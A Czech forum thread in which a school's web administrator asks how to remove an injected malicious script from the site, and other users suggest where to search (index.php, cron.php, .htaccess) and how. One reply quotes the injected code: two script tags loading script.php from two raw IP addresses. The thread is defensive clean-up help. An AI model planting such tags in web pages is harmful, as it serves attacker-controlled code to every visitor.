Spouštění skriptu na web. stránkách

[Vendis22]

Přeji dobrý den
Na webu naší školy www. zsrevolucni.cz se začal spouštět skript, který pravděpodobně odkazuje na nějaký vir. Pomocí FTP jsem si stáhl celý web do svého počítače, ale nedokážu najít kde spouštění skriptu odstranit. Neumí někdo poradit jak na to. Bohužel funkční záloha není.

Děkuji

[Reklama]

[LuCaCZ]

projdi všechny PHP, HTML, JS soubory a hledej podezřelý <script> pravděpodobně bude na konci souboru a možná bude zašifrovaný a budou vidět jen paznaky.. Taky by mohlo napovědět čas poslední úpravy souboru.

Určitě mrkni na index.php a cron.php

[rhsCZ]

hledej

Kód: Vybrat vše

<script src="http://23.254.131.54/script.php"></script><script src="http://173.248.178.34/script.php"></script>


a smaž z příslušných souborů kde to najdeš.
dle zdrojového kódu to má být nad tím, kde začíná <div id = "header_block">
kousek níže, kde začíná body

[LuCaCZ]

ha že uvedl i adresu mi nějak nedocvaklo
to bude ono

[Vendis22]

Tak jsem všechno snad prohledal a nenašel. Pokud v prohlížeči zakážu jazyk java tak stránky fungují. Netušíte aspoň v jaké složce hledat.

[LuCaCZ]

když už to máš stažený na PC, tak zkus vyhledávání obsahu - umí to třeba Total Commander .. zadáš "23.254.131.54" a najde ti který soubor tento text obsahuje, pak ho na FTP upravíš

[rhsCZ]

Jestli by to nevadilo, tak když to nemůžeš najít tak pokud tam není nic důležitého v těch souborech, že bych to prohledal osobně(nějak třeba poslal ty stažené soubory apod.).
Je to jen návrh a nečekám že by jsi s ním souhlasil.

[CZechBoY]

Koukni taky do htaccess jestli se tam něco nepřidává na začátek/konec obsahu.